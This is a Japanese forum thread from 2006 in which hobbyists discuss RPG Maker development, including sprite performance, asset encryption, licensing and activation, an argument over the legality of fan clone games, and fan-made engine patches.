2006/12/05(火) 21:19:19ID:qaEB2amu0813名前は開発中のものです。
2006/12/05(火) 21:56:59ID:xFJoutF70814名前は開発中のものです。
2006/12/05(火) 21:58:37ID:1AtPb/GJ0815526
2006/12/05(火) 22:07:00ID:wGLCMiVGなりました。
イベントの動的生成の仕組みを作って、好きなところに好きなだけ
ユニットを配置できる。
(俺の構想では多くても1マップ64ユニット以下に抑えたいし、
ID999を越えるのが怖くてとりあえずカンストを設定。)
あと、組み込みのDBはGUI上編集できる数に制限があるので
大分悩みましたが、ツクール何個も起動して別々にデータ編集した後に、
データのファイル名を変えて本体の方にぶち込むバッチ組んで、
ゲームスクリプトをアペンドファイルに対応するように改造すれば
理論上無制限にできるんじゃないかと思案中。
数だけの問題じゃなくて、別の軍団でプレイしたり、対戦作ったりする上で
このほうが管理しやすい気もするし。
まあ独自のデータを設計・管理する環境を作ってもいいんですが、
GUI編集ツールを作るのが激しくめんどくさいのです。
0816名前は開発中のものです。
2006/12/05(火) 22:11:17ID:C/hD6Esx0817526
2006/12/06(水) 00:24:12ID:qy5d/cz9確かに慣れれば作るほどのもんじゃないと思いますが、
絵を差し替えたり、テスト時の効率とかを考えると
ちょっと辛いんですよね。
ところでイベントありきのユニット管理はやっぱりボツにしました。
どうも70,80を越えたあたりで徐々に動作が鈍ることが分かりました。
絵以外は空っぽのデフォルトイベントなのに、この重さじゃとても無理。
まあ絵の表示と移動の動作指定なんかが楽になりそうだからっていうだけの
安易な理由で作ったのは反省。これはこれで他の用途に使うことにして
もっとスマートな方法を模索します。今日はとりあえずおやすみ。
0818名前は開発中のものです。
2006/12/06(水) 16:27:06ID:sV1NuZLq空のイベントを(スクリプト中では)削除すりゃいいんじゃね?
マップエディタを使うためだけのものなんだろ?
0819526
2006/12/06(水) 18:55:05ID:qy5d/cz9こんばんは。
ちょっと説明がおかしくてスイマセン。
えっと、このイベントはゲーム実行中に主人公(四角いカーソル)の位置に
動的に生成(戦闘前のユニット配置)するもので、狙いとしては
戦闘中の移動(行軍)を担当させたい為のものでした。移動させたい時は
既存のインタプリタにルート指定コマンドを生成して渡せば済むからです。
でも、いざテストプレイで大量にユニット配置をしまくってみると、
それだけで画面が重くなる始末だから使えないということです。
あとはスプライトセットのリフレッシュが原因でないことを願うばかりです。
これが原因だと最大ユニット数を大幅に減らしてショボイ戦争にする
以外打つ手はないでしょうね。
今日もこれから実験用マップで色々研究してみます。
0820名前は開発中のものです。
2006/12/06(水) 20:23:45ID:yU2sHQHo0821名前は開発中のものです。
2006/12/06(水) 20:41:12ID:MZUr3EWr0822名前は開発中のものです。
2006/12/06(水) 21:02:04ID:GOWDPvkw( ゚д゚ )
(゚д゚ )
(д゚ )
(゚ )
Y
( ゚)
( ゚д)
( ゚д゚)
( ゚д゚ )
0823名前は開発中のものです。
2006/12/06(水) 22:24:11ID:3LxXVqag0824名前は開発中のものです。
2006/12/06(水) 22:37:39ID:FJku0Aro目が痛くなりそうだけどな。
0825名前は開発中のものです。
2006/12/06(水) 23:50:07ID:43TfFxTnRPGツクレナーイαを忘れたと申すか!?
0826526
2006/12/07(木) 22:40:23ID:QBiXiRQWイベントクラスではダメ。表示に絞ったスーパークラスである
キャラクタークラスでもダメでした。
ボトルネックはキャラクタークラスのupdateのようです。
そこでスプライトクラスを直接扱うことにしました。
最初はピクチャーみたいに表示がマップスクロールに連動してしまって
泣きそうでしたが、タイルマップの更新処理を参考にしたら実現できました。
試しに20×15のマップをユニットで埋め尽くして雨を降らせたり色々
やってみましたが全然余裕です。広いマップで広範囲にばら撒いても
問題ないし、かなりいけそうな感触です。
念のため滑らかモードは解除の方向で考えてます。
0827名前は開発中のものです。
2006/12/08(金) 15:52:46ID:vVveIeuEマップ上でのSEについて質問です
たとえば主人公がモンスターを倒すシーンがあって
斬撃のSE後にモンスターの声のSEを流したいのですが
どうやっても斬撃のSEが入らずモンスターのSEだけ入ってしまいます。なぜなんでしょうか
0828名前は開発中のものです。
2006/12/08(金) 19:03:32ID:Nl64xwP4斬撃SEが鳴る前に、モンスターSEが上書きされてんだろ。
スクリプトで制御するか、斬撃SEが鳴る分のウェイトを間に挟んで、モンスターSEを鳴らせば良い。
もしくは2つのイベントで表現すればいい。
0829名前は開発中のものです。
2006/12/09(土) 16:51:47ID:nD2meHPTある位置(位置1)にあるイベントを移動させたいのですが
位置1にあるイベントは、条件によって異なってくるので、キャラクターの動作指定では
移動させられません、どうすればいいんですか?
0830名前は開発中のものです。
2006/12/09(土) 17:00:00ID:eGg5nSpX移動命令が作動するようにしたら命令を加えれば良いじゃないですか?
0831名前は開発中のものです。
2006/12/09(土) 21:48:35ID:RwziQqAv出来ました・・・・
0832名前は開発中のものです。
2006/12/10(日) 00:45:24ID:sJ5oQlyT今のところ経験値の総和が〜に達したらレベルアップして、ステータスを〜上げるってやり方でやろうと思ったんですが、
これだとレベルアップに必要な経験値をレベルごとに決めなきゃならんので無理矢理な感じ・・・。
0833名前は開発中のものです。
2006/12/10(日) 15:59:14ID:vh5KaR64聞いたところどう見てもデフォの成長システムとの違いが判らないんだけど、
それならデフォのレベルアップシステムのままで良いんじゃない?
なにより何処が無理矢理な感じなのかも全く判らないし。
またどうしても作りたいなら、デフォルトに準じて作っても良いし。
0834名前は開発中のものです。
2006/12/10(日) 16:13:34ID:NMHyfdPk式で算出するようにすれば少なくとも「自分でいちいち設定する必要」はなくなるぞ
次のレベルまでの経験値=(Lv^Lv)*100
とかさ。
0835名前は開発中のものです。
2006/12/10(日) 18:23:30ID:KxQEVz+u0836名前は開発中のものです。
2006/12/10(日) 22:18:03ID:XOz6f2R+0837526
2006/12/10(日) 23:40:23ID:liEGeWBkACCESSから自前rxdata生成までのワンタッチ仕掛けと
MP3の暗号化スクリプトを完成させました。
ゲーム実行時に複合した生ファイルは、
排他ロックと終了時の削除をきちんとやれば、
外部からのコピーや再生をブロックできるみたいです。
(なぜかメモ帳では開けますが...)
商用ゲームまでフリーなサイトでただで貰ってるので、
事実上二次配布にならないように出来るだけのことはしようかと。
しかしなぜEBは音声ファイルだけ暗号化機能を付けなかったんだろう。
0838名前は開発中のものです。
2006/12/11(月) 01:14:38ID:hforqt4I0839名前は開発中のものです。
2006/12/11(月) 11:09:30ID:pQos53eeageで質問内容にマップって言葉が出てくるとみんなタナに見えてくるな。
0840名前は開発中のものです。
2006/12/11(月) 16:35:56ID:x/E8Ik5Tエンターブレインに葉書送らなきゃいけない」ってのを見たんだけど本当?
0841名前は開発中のものです。
2006/12/11(月) 16:50:54ID:ltG4vQPNエンターブレインのツクールWEBで確認せよ。
0842名前は開発中のものです。
2006/12/11(月) 17:10:48ID:x/E8Ik5T登録ハガキなんて入ってねーよコノヤロウorz
0843名前は開発中のものです。
2006/12/11(月) 17:47:06ID:8WrGlF+JEBは中古自体認めてないと思うが、事情を知らずに買ってしまったようで可哀想な人に本音と建前の説明をしよう。
○建前
もう一度登録を行ってしまったソフトは中古で譲渡されても正式には使う事は認められない。
Webでの発表や販売など不特定多数への配布にはユーザー登録が必須、登録しないで配布するのは規約違反。
●本音
ベクター登録や雑誌掲載されたゲームの作者のなかにさえユーザー登録していない人は結構居る、
実情登録ナンバーを名乗ってサポートに電話をしてもそのナンバーからすぐに自分の身元がでてこない程度の
杜撰な管理…というより200X以前のツクールは大して管理らしい管理はしていない(できない)のが実情らしい、
だからXPはWeb承認をさいようしたとのこと。
中には体験版で作ったゲームをWeb配信している作者すら居る始末なのが2000の実情。
0844名前は開発中のものです。
2006/12/11(月) 18:05:59ID:Ybk1F8l30845名前は開発中のものです。
2006/12/11(月) 18:23:26ID:ltG4vQPNXPはRPGを作るゲームの癖に配布の事だけ考えて、オフラインで作って楽しむ人の事も考えない負け犬、同時にこれからツクールをやる人には酷い難しさ。
ゲーム作成ツールなら作った奴が配布しようがどうしうが勝手だな。
RPGツクールというゲームなら、ツール扱いをどうにかしろと言いたいな。
0846名前は開発中のものです。
2006/12/11(月) 19:19:33ID:8WrGlF+J何言ってるのか意味が判らない。
0847名前は開発中のものです。
2006/12/11(月) 19:36:38ID:Jy3EzIILツクラーの知的水準は平均のそれ以下と言わざるを得ないな。
0848名前は開発中のものです。
2006/12/11(月) 21:03:51ID:wIccRTuy全体を否定しようとするのは頭の悪い人間がやることだがな。
>>845の文章が明らかにおかしいとしても、
テェッタみたいな日本語センスがぶっ飛んだ厨房がツクールでゲームを作っていたとしても、
それでツクラー全体の知的水準を低いと論証することはできない。
0849名前は開発中のものです。
2006/12/11(月) 21:10:07ID:8lmoZgl20850名前は開発中のものです。
2006/12/11(月) 21:29:05ID:DPvovwt8cao ni ma^^
0851名前は開発中のものです。
2006/12/11(月) 21:35:18ID:QM7sJk9w・ツクールXPはゲームを作るというゲームなのに作ったゲームを配布することを考えて作られている。
・オフラインユーザーのことを考えて配布しなくてよいようにするべき。
・ツクール初心者には理解が難しい(おそらくRGSSのことと思われ)。
・ゲーム制作ツールであるなら作ったゲームの配布は自由にするべきだ。
・RPGツクールというのはゲームなんだからツール扱いするな。
やっぱり理解不能だな。
0852名前は開発中のものです。
2006/12/11(月) 22:03:35ID:8WrGlF+J理由は配布前提じゃなく2000ではあまりにクラックやコピーが多かったってことじゃないのかね?
オフライン可能でもハードウェアキー付けて5万ぐらい商品じゃ誰も買わないだろうし1万円台で
まともなオンライン承認を搭載してるだけかなり良心的とも言えるんじゃないか?
0853名前は開発中のものです。
2006/12/11(月) 22:11:01ID:W5VW6Cgb0854名前は開発中のものです。
2006/12/11(月) 22:13:49ID:Y37ruG5Z著作権無視して配布した輩がいた事が原因だからメーカー批判するのもどうかと思う
実際に損害被った結果の仕様だしな、健全な利用者も被害被ることになるからタチが悪い
0855名前は開発中のものです。
2006/12/11(月) 22:34:16ID:MhPGXk951.5倍とかはどうやって求めればいいんだ?
0856名前は開発中のものです。
2006/12/11(月) 22:36:23ID:fKVnbntNその一割に3かけて2で割る
0857名前は開発中のものです。
2006/12/11(月) 22:40:49ID:MhPGXk95当たり前なのに、全然気づかんかった
目から鱗だwトンくす
0858名前は開発中のものです。
2006/12/11(月) 22:58:46ID:8WrGlF+J小数点2桁までは悩まずすんなりいけるし%は色々考える上で解りやすい場面も多いでしょう?
0859名前は開発中のものです。
2006/12/11(月) 23:02:00ID:PETA8trS他の場所だったら
>>855
>>855
>>855
>>855
>>855
とかやられてもおかしくないw
0860名前は開発中のものです。
2006/12/11(月) 23:24:18ID:8WrGlF+J0862名前は開発中のものです。
2006/12/11(月) 23:45:16ID:Gl9b8PH/0864名前は開発中のものです。
2006/12/12(火) 00:41:41ID:WJVTLk7g0865名前は開発中のものです。
2006/12/12(火) 03:27:26ID:VzDk8zqT残ったのはFTPでうpしておいた暗号化してあるゲーム本体のみだぜHAHA
枕濡らしてくるわ
0866842
2006/12/12(火) 09:26:01ID:jHgSHUrm丁寧な説明サンクス。
中古は認められて無いのか・・・・ということはヤフオクもか。
色々と制約が厳しいなエンター脳。
0868名前は開発中のものです。
2006/12/12(火) 13:38:19ID:K2Sck8Ll0869名前は開発中のものです。
2006/12/12(火) 14:36:43ID:ykSPngjY多くツール系のソフトはちゃんと規約を隅々まで読むとライセンスに関してはかなり色々書いてあるものが多いよ。
基本的に使用ライセンス譲渡を許可している物は、まず自分のPCまたはその他のストレージにバックアップした物や
インストールした物を消去して、書面かメールにてその旨をメーカーに伝えて、譲渡された側があらたにユーザー登録をして
承認されるとライセンスの移行が完了みたいな感じでかなり面倒、いちいちこう言う事を管理しているのはAdobe製品など
何万円するようなソフト以外ではあまり見かけないけど。
EBが厳しいというよりは、1万円台以下のソフトだと人間の手でいちいちチェックはしていられないから形式的に
うるさく書いておく以上の自衛手段がなかなか使えない場合が多い、だからツクールに限らずツール系のアプリでは
最近はWeb認証が増えているし、ゲームでも搭載される物が増えている。
増えている理由こそがずばりユーザー登録だけじゃほとんどザル状態で何のチェックにもならないって言う実情があるから。
0870名前は開発中のものです。
2006/12/12(火) 15:22:57ID:3pV/Tleiとか平気で馬鹿な事を言っている奴のせいでどんどん規制が厳しくなり、
そして次のバージョンが発売される可能性が減っている訳だが。
0871名前は開発中のものです。
2006/12/12(火) 16:47:21ID:SSXrDQrfメーカーがいいかげんなだけだろ
0872名前は開発中のものです。
2006/12/12(火) 17:45:43ID:x+u39gnS無料無料と糞みたいなネトゲーが氾濫して
無料が基本とか思い込む糞だらけだし終わったな。
次のバージョンでなけりゃこのまま寂れていくだけだな。もう十分寂れてるが。
0873名前は開発中のものです。
2006/12/12(火) 20:14:21ID:TgHmHSkS俺もだ!!まじ凹むよな…
0874名前は開発中のものです。
2006/12/12(火) 20:15:16ID:x+u39gnSはでるよとニートを見守る母親のような気持ちで待ち続けたい。次はXPの延長はやめて、プ
ログラム抜きで簡単にすごいことができる路線に戻って欲しい。プログラマーが育たなくなっ
ちゃうくらい簡単にすごいゲームが作れるツクールを定価10万円くらいでも通用するような
内容のツクールを1万円で出して欲しい。
0875名前は開発中のものです。
2006/12/12(火) 20:51:51ID:ALfeNQPtツクールは高度になればなるほど扱えるユーザーは限られてくるから、しばらくはXPで十分すぎるくらいだな。個人的に。
解像度が上がれば、高度なグラフィック系の素材が求められるし、スクリプトも初心者がいきなり扱うには難しい代物だし。
0876526
2006/12/12(火) 21:37:47ID:uQxS2qPv昔ながらのRPGの作りやすさという点では2000が圧倒的に優れている
と思う。
でも、再現性の維持とシステムの抽象化のジレンマの中、
XPは一定の地位を確保したと思うよ。(ちょっと無闇に放置しすぎたんじゃ
ないか?って思う点も結構あるけどね。)
少なくともアマチュアで2Dゲーム作るには絶妙な環境だと思う。
できるなら次回作は、XPではなかなか難しい3D表現を前提とした
環境にしてしまえばいいと思う。常に「今風」に近いものが楽に作れれば
売れるんじゃないかと。俺はXPで十分ですが。
今日はちょっとデータ作って寝ます。
0877名前は開発中のものです。
2006/12/12(火) 21:59:49ID:SXBy/qMe0878名前は開発中のものです。
2006/12/12(火) 22:07:19ID:ykSPngjYまだ続けたいならそろそろ専用スレ立てて他所でやってくれ。
0879名前は開発中のものです。
2006/12/13(水) 00:32:13ID:mK7ql4ZI0880名前は開発中のものです。
2006/12/13(水) 08:50:23ID:MQ/RXIXx0881名前は開発中のものです。
2006/12/13(水) 08:51:19ID:MQ/RXIXx0882名前は開発中のものです。
2006/12/13(水) 09:55:45ID:pESRGrbGタイトルやゲームオーバーがこのサイズ
0883名前は開発中のものです。
2006/12/13(水) 10:42:01ID:MQ/RXIXx0884名前は開発中のものです。
2006/12/13(水) 12:43:14ID:iTf+XHLdバトルイベントで2回動いたように見える特技は作れるけど完全には多分無理だと思う。
また、この方法ですら味方なら全部のモンスターグループに、敵ならそれを使う敵が出てくる全部のモンスターグループに
1つ1つはバトルイベントをコピーして貼り付ける必要があるので非常に面倒くさい。
同じ技を連続2回なら、2回動くアニメーションを作って技の威力を2倍にしてそれっぽく見せるのが1番楽。
0885名前は開発中のものです。
2006/12/13(水) 13:12:37ID:yw6yuZ1sそうとしか思えない画像使ってるやつがいるけど、著作権大丈夫なん?
たとえばツクールを使って「もうひとつのFF」みたいなの作ったらdame?
0886名前は開発中のものです。
2006/12/13(水) 13:24:58ID:zfXmejs0精神関係度が1以上とか?
0887名前は開発中のものです。
2006/12/13(水) 14:42:48ID:mK7ql4ZIそうですか…とりあえずその方法が一番良さそうですね。ありがとうございます。
>>885
クロゲってゆうジャンルがあるんでやっていいと思います。FFとかDQを再現してたりオリジナル風にしてる作品は沢山ありますよ。
0888名前は開発中のものです。
2006/12/13(水) 15:37:03ID:Me1GyyUM> クロゲってゆうジャンルがあるんでやっていいと思います。
本気でそう思ってそうだけど、完全にアウトだよ。
元のゲーム自体に無断転載禁止とか書いてあるだろう。画像そのものや改変画像を使って
ゲーム作るのは思いっきりこの禁止事項に抵触している。
ただ、日本では、著作権者が訴えない限り警察は動かない(動いちゃだめ)ので、
「アウトであることは承知で」やってるわけだ、そいつらは。
0889名前は開発中のものです。
2006/12/13(水) 16:20:34ID:+VbVF4m80890名前は開発中のものです。
2006/12/13(水) 17:36:23ID:lihSc83/ttp://www.youtube.com/watch?v=jYQ08vQUasY&eurl=
0891名前は開発中のものです。
2006/12/13(水) 18:34:57ID:iTf+XHLd版権キャラクターものは、もし版元は訴えれば即アウトなのは確か。
しかし、日本では、著作権者が訴えない限り警察は動かないのではなく
親告罪であるため向こうが黙っているうちは黙認となり違法とはならない。
著作権は作品を作れば自動的に持つことになるが、施行するかは保持者の任意で、それは日本でも海外でも同じこと。
なにより著作権は違反者を糾弾する事は目的ではなく、版権保有者の知的財産を守るための権利で、
自動的に警察が動けたら2chなんかは成立しない板だらけになるよ。
まず利益を出さない、それも大して有名でもないフリーゲームの場合裁判を起こすだけ面倒くさい、
またはそれ以前に版元は気が付かない気にしない場合が多い。
危険度高
↑@その作品によりあきらかにイメージ的、経済的な損失が版元に起る場合。
│A今まで興味が無い関係の無い人にまで話題が広がるほど話題を集め注目される作品を作ってしまった場合。
│Bお金が過剰に儲かってしまった場合。
│C自作でも使用したキャラクターの版元が過去に法人でなく個人を相手にでもそう言った訴えを起こした版元の場合、
│ その時と作品が同じでケースも似ている。
│D版元の作品から直接抜き出したり、撮影したり、録音した画像や音声をそのまま、またはそれが判る程度の
│ 加工でゲームに使う行為。
│
↓
危険度低
0892名前は開発中のものです。
2006/12/13(水) 19:40:06ID:Me1GyyUM> 親告罪であるため向こうが黙っているうちは黙認となり違法とはならない。
個々の侵害行為を具体的に把握してない場合は、黙ってても黙認にはならないはず。
警察が動かないだけで、著作権侵害であるのは明らかだろう、こういう件の場合。
> 施行するかは保持者の任意で
(施行?)
「元のゲーム自体に無断転載禁止とか書いてある」ように、ちゃんと権利を行使することで
諸行為を禁止している。それに反して転載したり改変したりしてるわけで、これは権利侵害。
ただ、刑事的にも民事的にも、権利者が権利侵害を確認して訴訟を起こすための行動を
しなけりゃ、いくら権利を侵害されても司法にそれを認められることはない。(当たり前だけど)
グレーじゃなくて真っ黒なんだけど、
> まず利益を出さない、それも大して有名でもないフリーゲームの場合裁判を起こすだけ面倒くさい、
> またはそれ以前に版元は気が付かない気にしない場合が多い。
という理由から、法的責任を問われることは少ない、というわけだ。
ばれなきゃ犯罪じゃない、という論法での話ならたしかに犯罪じゃない。
ただし、日本では法的に許されない行為である。という話だな、要は。
0893名前は開発中のものです。
2006/12/13(水) 20:00:48ID:6k2jS4Gkそれより、ここでしたり顔で長文レスしてるやつが痛くて見てられんw
0894名前は開発中のものです。
2006/12/13(水) 20:08:39ID:UJrJ1Uj70895名前は開発中のものです。
2006/12/13(水) 20:12:53ID:bbdOmBPP0896名前は開発中のものです。
2006/12/13(水) 20:16:15ID:d2CXf+jm0897名前は開発中のものです。
2006/12/13(水) 20:17:58ID:btiJRyPH予備校生はセンター試験で忙しくないのか?
0898名前は開発中のものです。
2006/12/13(水) 20:33:20ID:bbdOmBPP察してあげることも優しさですよ?何がとは言いませんが
0899名前は開発中のものです。
2006/12/13(水) 20:42:50ID:UJrJ1Uj70900名前は開発中のものです。
2006/12/13(水) 20:43:40ID:iTf+XHLdパッケージや説明書に一言でも複製禁止の旨や、それ以外でもでも何らかの形で1度でも表明してれば
黙っているのとは違うよ。
ばれなきゃ犯罪でないとは一言も言っていないし、単純に揉め事が起る危険度や迷惑のかかる度合いを
いっただけなんだけどな。
マジメな話著作権に関しては侵害された保持者と侵害した者の間の話で法的機関や弁護士以外の第三者は
口を挟むことじゃない、その白黒や是非に関してもその件ごとに当人同士で結論を出すべき事。
0901名前は開発中のものです。
2006/12/13(水) 21:09:30ID:Me1GyyUM> 1度でも表明してれば黙っているのとは違うよ。
>891では明らかにそれと違う意味で言ってるよね。
市販ゲームのクローンゲームや
> 版権キャラクターものは、もし版元は訴えれば即アウトなのは確か。
という文脈の話で、権利者が表明してないなんてわけがなく、
その他の無断転載・二次創作の例でも、表明してない例を見つけるほうが
難しいんだから。
> ばれなきゃ犯罪でないとは一言も言っていないし
> 向こうが黙っているうちは黙認となり違法とはならない。
司法にばれなくとも違法です。
> 第三者は口を挟むことじゃない
他人の権利を侵害したら、それは非難されることなんだよ。法的には当事者
同士で解決すりゃいいが、社会的には第三者からも文句を言われるべきこと。
他人の言い訳を鵜呑みにしてるんだろうが、常識で考えようよ。
常識で考えるとID:iTf+XHLdはアホだ。それにレスするID:Me1GyyUMも
同じくらいアホなわけだから、これ以上アホなレスするのはやめとく。
0902名前は開発中のものです。
2006/12/13(水) 21:25:43ID:e2LWoSmYでも実際良いとおもってクロゲー作ってる人は多そうだ
0903名前は開発中のものです。
2006/12/13(水) 21:28:28ID:iTf+XHLdアホはアンタだよ第三者は口を挟むべきじゃないし、後からでも権利者が構わないと言えば罪にすらならない。
もしそうなれば逆に口を出して非難した人間を名誉毀損で訴える事ができる、これも親告罪なのでとがめられなければ
犯罪として成立しない。
違法性というのも犯罪が発生して初めて犯罪になる、親告罪では当人が黙っているのはばれていないのではなく、
法的にはまだ被害者が発生していない状態。
常識という言葉に逃げているが法律の曲解もいいところだ。
0904名前は開発中のものです。
2006/12/13(水) 21:30:32ID:UJrJ1Uj70905名前は開発中のものです。
2006/12/13(水) 21:50:18ID:jcAlozPe0906名前は開発中のものです。
2006/12/13(水) 22:15:32ID:cNyTmq5Yカシコどもがっ
0907名前は開発中のものです。
2006/12/13(水) 22:44:21ID:zfXmejs00908名前は開発中のものです。
2006/12/13(水) 23:29:34ID:mjl/InjK0909名前は開発中のものです。
2006/12/13(水) 23:40:14ID:n1lX1Lfb置き場所すら知らないやつが解析なんてできるかよw
うpして欲しいからってバレるような嘘つくなや。
0910名前は開発中のものです。
2006/12/13(水) 23:47:21ID:iTf+XHLd限界突破は「ねこかんインデクス」のExtra Side ◇ → セーブデータとパッチ にあるよ。
0911名前は開発中のものです。
2006/12/13(水) 23:49:02ID:jcAlozPe0912名前は開発中のものです。
2006/12/13(水) 23:51:16ID:zfXmejs0ttp://www.uploda.org/uporg615421.jpg
こんな感じです。
見て分かるようにHP限界突破もしてます
あと敵が死亡した時のウェイト?が短くなっていて、戦闘がテンポよく動きます
0913名前は開発中のものです。
2006/12/14(木) 00:00:08ID:NHh8XROf限界突破は知ってる、そうじゃなく「メニュー反転」ってなんだろう?
個人的には限界突破系のパッチは作る上で数値内でバランスを取れば良いだけだからあまり魅力はないな。
かなり魅力に感じたのは、メッセージウィンドウを4行でなく全画面にノベルのように表示可能な改造EXEと
ゲーム全体の速度が2倍になり640×480画面でも軽快に動く改造EXE。
2003用の戦闘中の行動ゲージのたまる速度が2倍のexeもかなり使いでがあるよ。
0914名前は開発中のものです。
2006/12/14(木) 00:03:31ID:nIOwmgzk0915名前は開発中のものです。
2006/12/14(木) 00:08:39ID:UQnw4lyTそんなに改造EXEあんの?知らなかった
特にメッセ改造EXE、2003ゲージ2倍が気になる
どこで落とせる?
0916名前は開発中のものです。
2006/12/14(木) 00:15:17ID:RH9nGL6a2003倍速はこのスレにあった。まだ生きてるかな?
http://game10.2ch.net/test/read.cgi/gameama/1129794828/
0917名前は開発中のものです。
2006/12/14(木) 00:23:13ID:TSpmAvOx有難うございます。
無事に入手出来ました
0918名前は開発中のものです。
2006/12/14(木) 04:48:17ID:pLBMcLR50919名前は開発中のものです。
2006/12/14(木) 06:32:22ID:V3c398JO0920名前は開発中のものです。
2006/12/14(木) 14:21:38ID:EGUIei9P使ったからといってどうこうするつもりは無いけど一応
0921名前は開発中のものです。
2006/12/14(木) 14:52:54ID:NHh8XROf0922名前は開発中のものです。
2006/12/15(金) 14:00:45ID:HfKCWOcDボクシングジムで暴力反対って叫ぶようなもんだな。
0923名前は開発中のものです。
2006/12/15(金) 17:32:21ID:bDvny+KM実際のところ、無法地帯なスレは全体に対する割合としては多数派じゃない。
とはいえ、あのレスは2ちゃんねるの削除ガイドラインに抵触してるので、
もしこのスレに「著作権を守れ!」と人に説教するような人間がいたなら、
とっくに削除依頼に出されているはずだよ。
つまり、著作権に関してあーだこーだ言う奴はいても、目に付いた奴を
片っ端から説教して著作権法を守らせようとするような奴はいない、
ということだな。
0924名前は開発中のものです。
2006/12/15(金) 19:51:22ID:HVWNYneS0925名前は開発中のものです。
2006/12/15(金) 19:52:19ID:A2/kC0+20926タナ中
2006/12/15(金) 20:09:16ID:6v41Z5J5あと三ヶ月くらいで完成する
みんな楽しみにしてろよ
0927名前は開発中のものです。
2006/12/15(金) 21:46:06ID:yEr0D+4o0928タナ中
2006/12/15(金) 22:06:47ID:6v41Z5J50929タナ中
2006/12/15(金) 22:08:39ID:6v41Z5J5雑誌紹介→アプリ化→DSにリメイク→プレステ3にリメイク→漫画化→TVアニメ化 になるよきっと
0930名前は開発中のものです。
2006/12/15(金) 22:43:21ID:F7Kw8odI反応するな。
レスするだけ資源の無駄だから。
0931名前は開発中のものです。
2006/12/15(金) 22:54:51ID:SFfpqEeShttp://tmp6.2ch.net/test/read.cgi/mog2/1166190830/
3ヵ月後どうなってるかきちっとここにログを記録していこう。
0932名前は開発中のものです。
2006/12/15(金) 22:59:18ID:/MLyATLX0933名前は開発中のものです。
2006/12/15(金) 23:02:01ID:SFfpqEeS0934名前は開発中のものです。
2006/12/15(金) 23:29:18ID:kLXl5YnS確かにorz
0935名前は開発中のものです。
2006/12/16(土) 01:38:29ID:sH3Blcm2無効までうまくいっただが、吸収だけうまくいかない
誰か教えて
0936名前は開発中のものです。
2006/12/16(土) 01:40:22ID:u3ehoNvpマルチ死ね
0937名前は開発中のものです。
2006/12/16(土) 04:03:18ID:TI/s+wcA友達にやってもらえばいいよ
0938名前は開発中のものです。
2006/12/16(土) 05:48:51ID:WhvAkEDLttp://www8.axfc.net/uploader/16/so/N16_6730.zip.html
DL:damage
解凍:rate
0939名前は開発中のものです。
2006/12/16(土) 18:43:49ID:davS1X9z変更できるようにしているので、どのように表示していいかわかりません。
既存の名前入力システムでは無理でしょうか。 やはり名前入力も自作して、
一文字一文字変数で記憶して、戦闘中に表示する名前の一文字一文字を
ピクチャーとして用意するしかありませんかね・・・・?
0940名前は開発中のものです。
2006/12/16(土) 20:56:46ID:n2p/kOx50941名前は開発中のものです。
2006/12/17(日) 00:51:03ID:Gkge8VQx0942名前は開発中のものです。
2006/12/17(日) 03:23:36ID:zNjBrRVv0943526
2006/12/17(日) 11:27:22ID:VzvR8uHiしようと思ってるんですが、経験値を陸海空、攻防単位で
用意したらカッタルいですかね?
単純に戦ってれば強くなるほうがいいかな。
それとも経験値なくして潔く消耗品にするか。
ウォーゲームが好物な人のご意見を伺いたい。
0944名前は開発中のものです。
2006/12/17(日) 12:08:10ID:vk6SR8iq0945名前は開発中のものです。
2006/12/17(日) 12:16:16ID:9D+jOBqB> 経験値を陸海空、攻防単位
これは活きない可能性が高い&煩雑になりがちなのでやめた方が良い。
対地攻撃をすれば対地能力が上がり、対空なら対空がといった具合だろうが、
プレイヤーは有利な条件で戦闘するのが普通。わざわざ苦手分野を補う必要は無い。
例えば、対空射撃が苦手な人間に何故わざわざ対空射撃をさせる必要があるのか。
攻防にしても、戦闘中に任意に防御コマンドでも発動できない限り、
何のためにあるのかよく分からない死にシステムになるだろう。
苦労して実装したは良いが、その苦労に反比例してミリタリー性は失われそうだ。
単なる経験値制にしても、すぐに「そのユニットだけいれば終わる」、
そういったバランスのゲームになりやすいので要注意。
0946526
2006/12/17(日) 12:38:13ID:VzvR8uHiご意見ありがとうござんす。
やっぱ、やる側としたら激しくめんどくさいですよね。
対空砲を増産しなきゃならない場面でも、それまで他で経験積んで
頑張って生き残ってきた部隊に任せるより、新規で用意しますよね普通。
データ設計上はユニットと兵器は当然分けて考えますが、
ゲーム上は、やるとしても武装転換ぐらいで、
経験値があったとしても「経験値」で一元管理するのが無難かな。
経験値制自体は取り入れたいので、兵器性能の差を無視しないように
気をつけます。
0947名前は開発中のものです。
2006/12/17(日) 13:58:55ID:9D+jOBqBhttp://sealhunter.hp.infoseek.co.jp/
単純なモデルとして敢えてフリーゲームを挙げると、これなんかが上手くできている気がする。
指揮官(経験値あり)+兵器(経験値無し)というシステム。
陸海空式にしても、プレイヤーが溜めた経験を任意で割り振るというのもありかもしれないが、
これだと経験してもいない行動を強化できるのが微妙。
経験値システム自体はほとんど全ての SLG で導入されている為、
そこらは上手く設計していって欲しいと思う。
0948タナ中 ◆8Tdr0tD9Mk
2006/12/17(日) 16:42:46ID:SdjwnKqd変数で進行度って作って
ストーリーが進むたびに変数進行度の変数足してけばスイッチを全く使わずに作れるんだな もちろんセルフスイッチは使うが
0949名前は開発中のものです。
2006/12/17(日) 17:08:02ID:hmYeq20f0950名前は開発中のものです。
2006/12/17(日) 17:56:29ID:Gkge8VQx0951526
2006/12/17(日) 17:59:12ID:VzvR8uHiありがとうございます。参考になりました。戦略フェーズ
も取り入れたい俺の場合は、軍団単位で将軍を設置して、
配下ユニットの戦闘内容で成長していくみたいな
感じになるかな。これなら育成というゲーム的側面を残しつつ、
面倒で過剰な情報管理による重たい印象は抑えられそうですね。
1ユニットの強さをクローズアップして、大戦略みたいに
一回のマップでユニットの経験値がガンガンあがるってのも
悪くはないけど、ちょっとリアリティがないかも知れない。
しっかしこの白ヴォッカゲーム、結構面白いですね^-^
0952名前は開発中のものです。
2006/12/20(水) 10:36:16ID:JiM1/LJD0953名前は開発中のものです。
2006/12/20(水) 15:05:29ID:3i6f6G3Gもうパッケージとか薄汚れてて。
0954名前は開発中のものです。
2006/12/20(水) 15:42:11ID:haPLV23k公式にはそういう記述はなかったが・・・・
0955名前は開発中のものです。
2006/12/20(水) 18:40:53ID:S0tqnKYp変数も使えない糞仕様だった気がするんだが
それでも欲しいのか
0956名前は開発中のものです。
2006/12/20(水) 21:19:43ID:YgJqTObx実はちょっと前に買ったばかりなんだけど、実際メーカーがサポート終了しててユーザ登録とか無理なわけで。
